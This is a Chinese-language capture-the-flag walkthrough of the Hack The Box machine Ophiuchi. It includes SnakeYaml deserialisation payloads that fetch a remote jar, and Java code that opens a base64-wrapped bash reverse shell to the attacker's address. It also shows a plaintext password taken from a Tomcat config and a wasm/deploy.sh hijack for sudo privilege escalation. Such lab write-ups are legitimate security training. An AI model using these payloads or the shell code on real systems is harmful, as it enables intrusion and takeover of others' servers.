概述 (Overview)
HOST:10.10.10.227
时间: 2021-08-09
机器作者: felamos
困难程度: Medium
MACHINE TAGS:
* Web
* Java
* Deserialisation
* Golang
* Source Code Review
攻击链 (Kiillchain)
通过使用 Nmap 枚举出目标服务的暴露端口,对运行在 8080 端口上的 Web 服务进行 Fuzzing 得到错误堆栈,从堆栈信息中确定使用的 SnakeYaml 存在反序列化 RCE 漏洞,使用该漏洞成功获得在目标服务器上的立足点。
在 tomcat 配置文件中找到了 admin 用户的口令,随后进行 SSH 登录。对 SUDO 允许执行的 GO 脚本进行代码审计,最终构造可触发权限提升的 .wasm 文件。
枚举(Enumeration)
老规矩,依然是在 Kali 上通过 Nmap 进行起手,对目标服务器开放端口进行枚举:
$ nmap -p- -sT -sC -T4 --min-rate 500 --reason -oA Ports -v 10.10.10.227
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http-proxy syn-ack
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Aug 9 21:21:32 2021 -- 1 IP address (1 host up) scanned in 137.59 seconds
通过上述扫描结果可以知道目标服务器仅暴露了两个端口(22、8080),暂时不知道运行在那种服务器上,不过概率是 Linux 系统。
Port 8080 - Parse YAML
通过浏览器访问 8080 端口,发现它运行着一个 Web 服务器,结合 title 和页面内容发现该服务是用于解析 YAML 语言的。
但是当我们提交内容时,HTTP 将会返回如下内容(该功能出于安全考虑已经停用):
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
YAML 是专门用来写配置文件的语言,比如我们常见的 .yml 后缀名结尾的文件。
YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲。 – 菜鸟教程
结合该语言的格式,生成了一些特殊字符进行提交,尝试 Fuzzing 一下看看是否存在异常:
返回的结果和预期的一致,从错误格式和 debug 堆栈信息可以推断出当前服务是 Java 程序。 仔细观察堆栈,使用的解析 YAML 语言的服务叫 org.yaml.snakeyaml
。
立足点(Foothold)
结合上述信息并在 Google 中进行搜索,成功找到了对目标服务器进行 RCE 的攻击实例:
SnakeYaml 反序列化漏洞 - https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/
漏洞的产生原因是由于解析了不受信任的 YAML 数据(`!!`做为特殊功能出现,该语法允许在解析 YAML 数据时调用任何 Java 类的构造函数,即 (!!<java 类构造函数>)),从而引起的任意代码执行。
提交 payload 进行漏洞验证:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.16.3/"]
]]
]
OK,验证后漏洞是存在的,目标服务器请求了我本地起的 Web 服务。并且我注意到它会自动加载 /META-INF/services/javax.script.ScriptEngineFactory 进行序列化。
顺着这个思路找个漏洞利用文章,构造对目标服务器的 RCE 链:
https://pulsesecurity.co.nz/advisories/Insecure-YAML-Deserialisation
下载 https://github.com/artsploit/yaml-payload 库,随后修改 AwesomeScriptEngineFactory.java 文件内容:
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.util.Base64;
import java.util.concurrent.TimeUnit;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
//Runtime.getRuntime().exec("digscriptengine.x.artsploit.com");
//Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
String cmd = "bash -i >& /dev/tcp/10.10.16.3/9900 0>&1"; // <-- your actual command here
String b64Cmd = Base64.getEncoder().encodeToString(cmd.getBytes());
cmd = "bash -c {echo,"+b64Cmd+"}|{base64,-d}|{bash,-i}"; // *nix only
Runtime.getRuntime()
.exec(cmd)
.waitFor(30, TimeUnit.SECONDS); //increase this probably
} catch (Exception e) {
e.printStackTrace();
}
}
... snip ...
随后要利用到 Javac 进行二进制编译、打包构建。没有 Java 的话需要自行安装一下:
$ apt install default-jdk
构建完成后需要启动 web 服务器,随后发送新的 Payload 拿到立足点。
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.16.3/yaml-payload.jar"]
]]
]
横向移动(Lateral Movement)
在寻找 User Flag 时遇到权限问题,当前的 shell 身份是 tomcat,而 Flag 在 admin 用户下可见:
$ ls -la /home/admin
-r-------- 1 admin admin 33 Aug 9 13:08 user.txt
... snip ...
所以我们需要进行横向移动,在使用 find 搜索 tomcat 用户可访问的内容时,发现 tomcat 的配置文件 /opt/tomcat/conf/tomcat-users.xml 是有权限进行访问的。在里面成功找到 admin 用户的口令。
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
随后使用该口令成功已 admin 用户进行登录:
权限提升(Privilege Escalation)
在查看 admin 用户下的 SUDO 目前可执行的指令时,发现可以使用 root 身份运行 go 去执行 index.go 文件:
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
查看 /opt/wasm-functions/index.go
文件代码:
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
首先注意到代码中加载了 os.exec,而这个库常用于做命令执行,所以在做代码审计的时候要首先找这种高危的函数及库。通过阅读代码,在 12 行的时候加载了一个外部的 main.wasm 文件。
Wasmer 是一个用于在服务器上执行 WebAssembly 的开源运行时。支持基于 WebAssembly 的超轻量级容器,该容器可以在任何地方运行,还可以嵌入其他编程语言
所以,整段代码的运行逻辑是:
- 以字节形式读取 WebAssembly 模块(main.wasm)
- 实例化 WebAssembly 模块
- 从 WebAssembly 实例获取
info
函数 - 函数内容不存在则输出提示字符串
- 函数存在则通过 exec 库执行 “/bin/sh” 运行 “deploy.sh”,打印脚本运行结果。
进入对应文件目录,首先查看文件夹内文件权限,main.wasm 与 deploy.sh 均是当前用户无法编辑的。好消息是脚本中并没有写绝对路径,那么我们只需要在执行 sudo 语句的文件夹内创建这两个文件,按照 shell 执行的优先级,会先找当前路径下同名文件。
admin@ophiuchi:/opt/wasm-functions$ find . -ls
1057188 4 drwxr-xr-x 3 root root 4096 Oct 14 2020 .
1322036 2460 -rwxr-xr-x 1 root root 2516736 Oct 14 2020 ./index
1321998 4 -rw-rw-r-- 1 root root 522 Oct 14 2020 ./index.go
1057205 4 -rw-r--r-- 1 root root 88 Oct 14 2020 ./deploy.sh
1322001 1448 -rwxrwxr-x 1 root root 1479371 Oct 14 2020 ./main.wasm
1057190 4 drwxr-xr-x 2 root root 4096 Oct 14 2020 ./backup
1057210 4 -rw-r--r-- 1 root root 522 Oct 14 2020 ./backup/index.go
1057206 4 -rw-r--r-- 1 root root 88 Oct 14 2020 ./backup/deploy.sh
1057211 1448 -rwxr-xr-x 1 root root 1479371 Oct 14 2020 ./backup/main.wasm
简单测试下是否可以进行 Hijacking:
可以看到,当我在 /tmp 目录下执行后代码退出在 17 行,说明对 main.wasm 的 Hijacking 是成功的。
接着开始找原因,参考下图文章内容进行利用:
将 WebAssembly 文本格式转换为 wasm - https://developer.mozilla.org/zh-CN/docs/WebAssembly/Text_format_to_wasm
使用 https://github.com/WebAssembly/wabt
库,最终构建有效的 main.wasm 文件。
期间需要安装 apt install wabt
命令,使用该命令可以将 main.wasm 传为 .wat 文件方便我们阅读:
$ wasm2wat /opt/wasm-functions/main.wasm -o main.wat
$ cat main.wat
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
从中可以看到第 6 行中,i32.const 后没是 0 ,我们只需要将其改为 1 后重新生成即可。
...snip...
(func $info (type 0) (result i32)
i32.const 1)
...snip...
$ wat2wasm main.wat -o main2.wasm
$ cp main2.wasm /tmp/main.wasm
而我的 deploy.sh 内容也很简单,就是将 /root/root.txt 文件拷贝到 /tmp 文件夹。
当然,你也可以改写成权限提升命令。
参考
- https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
- https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf?utm_source=dlvr.it&utm_medium=twitter
- https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/